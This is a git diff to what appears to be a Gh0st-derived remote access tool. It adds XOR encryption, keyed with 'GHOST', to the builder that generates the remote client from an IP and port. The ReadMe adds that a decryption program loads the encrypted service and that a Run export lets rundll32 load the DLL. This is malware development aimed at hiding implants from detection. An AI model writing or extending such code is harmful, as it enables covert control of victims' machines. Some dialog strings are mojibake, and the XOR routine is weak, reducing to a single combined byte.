diff --git a/ReadMe.md b/ReadMe.md index 94a1508..61df274 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -301,6 +301,8 @@ reorg: Move commands to common/commands.h 在动态链接库中增加导出函数Run,以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。 +2024.12.31 +生成服务时增加加密选项,当前支持XOR加密。配合使用解密程序来加载加密后的服务。 # 沟通反馈 diff --git a/common/commands.h b/common/commands.h index e7687f4..8e3e095 100644 --- a/common/commands.h +++ b/common/commands.h @@ -2,6 +2,7 @@ #include #include +#include #ifndef _MAX_PATH #define _MAX_PATH 260 @@ -198,3 +199,11 @@ typedef struct LOGIN_INFOR strcpy_s(moduleVersion, DLL_VERSION); } }LOGIN_INFOR; + +inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector& keys) { + for (char key : keys) { + for (int i = 0; i < len; ++i) { + data[i] ^= key; + } + } +} diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 7669d6c..887e05f 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 801c683..68eb5f6 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -31,6 +31,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Text(pDX, IDC_EDIT_IP, m_strIP); DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe); + DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt); } @@ -135,7 +136,8 @@ void CBuildDlg::OnBnClickedOk() MessageBox(strSeverFile + "\r\n\"" + strSeverFile + "\"ʧ!"); return CDialog::OnOK(); } - File.Write(szBuffer,dwFileSize); + Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel()); + File.Write(szBuffer, dwFileSize); File.Close(); delete[] szBuffer; MessageBox("ɳɹ!ļλ:\r\n"+ strSeverFile); @@ -182,6 +184,24 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll"); m_ComboExe.SetCurSel(0); + m_ComboEncrypt.InsertString(0, ""); + m_ComboEncrypt.InsertString(1, "XOR"); + m_ComboEncrypt.SetCurSel(0); + return TRUE; // return TRUE unless you set the focus to a control // 쳣: OCX ҳӦ FALSE } + +Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) { + switch (method) + { + case 0:// + break; + case 1: // XOR + xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' }); + break; + default: + break; + } + return Buffer(); +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 6b3d241..31b6b51 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -1,5 +1,7 @@ #pragma once +#include "Buffer.h" + // CBuildDlg Ի @@ -23,5 +25,7 @@ public: CString m_strPort; afx_msg void OnBnClickedOk(); virtual BOOL OnInitDialog(); + Buffer Encrypt(BYTE* buffer, int len, int method); CComboBox m_ComboExe; + CComboBox m_ComboEncrypt; }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 429bc81..612536a 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ